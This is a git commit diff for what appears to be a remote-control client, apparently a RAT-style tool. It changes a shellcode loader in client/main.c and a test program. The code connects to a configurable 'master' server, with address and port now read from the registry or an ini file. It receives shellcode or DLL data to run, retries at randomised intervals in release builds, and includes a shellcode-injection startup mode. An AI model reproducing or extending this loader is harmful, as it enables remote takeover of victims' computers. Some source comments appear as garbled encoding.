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TinyRun&TestRun: Read configuration when it's available

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This commit is contained in:
yuanyuanxiang
2025-07-27 15:20:16 +08:00
parent c9d5e82037
commit c4a613a2e1
3 changed files with 68 additions and 5 deletions
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50
client/main.c
View File

@@ -6,16 +6,16 @@
#include <assert.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef _DEBUG
#include <stdio.h>
#define Mprintf printf
#define IsRelease 0
#else
#define Mprintf(format, ...)
#define IsRelease 1
#endif
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
@@ -89,6 +89,28 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
return 0;
}
char* ReadRegistryString(const char* subKey, const char* valueName) {
HKEY hKey = NULL;
LONG ret = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey);
if (ret != ERROR_SUCCESS)
return NULL;
DWORD dataType = 0;
DWORD dataSize = 1024;
char *data = (char*)malloc(dataSize+1);
if (data) {
ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize);
data[min(dataSize, 1024)] = '\0';
if (ret != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
free(data);
data = NULL;
}
}
RegCloseKey(hKey);
return data;
}
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
if (!sIP || !sizeOut) return NULL;
@@ -96,11 +118,26 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
return NULL;
char addr[100] = { 0 };
strcpy(addr, sIP);
const char* path = "Software\\ServerD11\\settings";
char* saved_ip = ReadRegistryString(path, "master");
char* saved_port = ReadRegistryString(path, "port");
char* valid_to = ReadRegistryString(path, "valid_to");
int now = time(NULL), valid = valid_to ? atoi(valid_to) : 0;
if (now <= valid && saved_ip && *saved_ip && saved_port && *saved_port) {
strcpy(addr, saved_ip);
serverPort = atoi(saved_port);
}
free(saved_ip); saved_ip = NULL;
free(saved_port); saved_port = NULL;
free(valid_to); valid_to = NULL;
char serverIP[INET_ADDRSTRLEN] = { 0 };
if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) {
Mprintf("Resolved IP: %s\n", serverIP);
} else {
Mprintf("Failed to resolve '%s'.\n", sIP);
Mprintf("Failed to resolve '%s'.\n", addr);
WSACleanup();
return NULL;
}
@@ -112,7 +149,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
int attemptCount = 0, requestCount = 0;
do {
if (!isFirstConnect)
Sleep(IsRelease ? rand()%60 * 1000 : 5000);
Sleep(IsRelease ? rand()%120 * 1000 : 5000);
isFirstConnect = FALSE;
if (++attemptCount == 20)
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
@@ -216,6 +253,9 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
#endif
extern DLL_API DWORD WINAPI run(LPVOID param) {
char eventName[64] = { 0 };
sprintf(eventName, "EVENT_%d", GetCurrentProcessId());
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName);
PluginParam* info = (PluginParam*)param;
int size = 0;
const char* dllData = ReceiveShellcode(info->IP, info->Port, &size);

9
client/test.cpp
View File

@@ -259,6 +259,15 @@ int main(int argc, const char *argv[])
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
iniFile cfg(CLIENT_PATH);
auto now = time(0);
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
}
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
if (g_ConnectAddress.iStartup == Startup_InjSC)
{